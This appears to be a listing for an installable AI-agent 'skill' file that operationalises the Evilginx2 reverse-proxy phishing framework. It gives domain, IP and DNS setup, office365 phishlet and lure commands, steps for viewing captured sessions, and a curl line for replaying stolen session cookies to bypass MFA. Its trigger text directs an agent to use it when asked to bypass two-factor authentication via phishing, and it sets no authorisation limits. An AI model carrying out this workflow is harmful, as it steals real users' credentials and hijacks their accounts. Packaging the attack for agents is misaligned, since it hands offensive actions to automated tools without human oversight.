offensive-tools/social-engineering/evilginx2/SKILL.md
Man-in-the-middle phishing proxy that captures session cookies and bypasses MFA/2FA by proxying real login pages. Use when asked to bypass two-factor authentication via phishing, capture session tokens, perform adversary-in-the-middle (AiTM) attacks, or set up a reverse-proxy phishing site.
npx skillsauth add aeondave/malskill evilginx2Install this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Reverse-proxy phishing framework that captures session cookies — bypasses OTP, push, and FIDO2 MFA.
Unlike GoPhish (clone page), Evilginx2 proxies the real site. The victim interacts with the legitimate service; Evilginx captures the authenticated session cookie and credentials in transit.
# Start evilginx2
evilginx2
# Inside evilginx shell:
config domain phish.example.com
config ip 1.2.3.4
phishlets hostname office365 login.phish.example.com
phishlets enable office365
lures create office365
lures get-url 0
Before starting, add DNS records for your domain:
A @ 1.2.3.4 (VPS IP)
A * 1.2.3.4 (wildcard for phishlets)
NS ns1 1.2.3.4
NS ns2 1.2.3.4
| Command | Description |
|---------|-------------|
| config domain <domain> | Set operator domain |
| config ip <ip> | Set phishing server IP |
| phishlets | List available phishlets |
| phishlets hostname <name> <hostname> | Assign hostname to phishlet |
| phishlets enable <name> | Enable phishlet (starts proxy + gets cert) |
| phishlets disable <name> | Disable phishlet |
| lures create <phishlet> | Create a lure (unique phishing URL) |
| lures get-url <id> | Get the phishing URL |
| lures | List all lures |
| sessions | List captured sessions |
| sessions <id> | Show session details (tokens, creds) |
Built-in: office365, google, linkedin, facebook, outlook, github, okta, discord, and more.
Custom phishlets can be added to ~/.evilginx/phishlets/.
1. Victim clicks lure URL
2. Evilginx proxies real service → TLS terminated at Evilginx
3. Victim authenticates (including MFA)
4. Evilginx captures: cookies, credentials, tokens
5. Redirect victim to legitimate site (seamless)
6. Attacker uses captured cookies in browser (no MFA needed)
# Inside evilginx
sessions 1 # Show session 1 — copy the auth token/cookie
# Import cookie into browser with EditThisCookie or Cookie-Editor extension
# Or use curl:
curl -H "Cookie: <captured_cookie>" https://target.service.com/api/...
| File | When to load |
|------|--------------|
| references/phishlets.md | Phishlet YAML syntax, custom phishlet creation, bypass detection |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.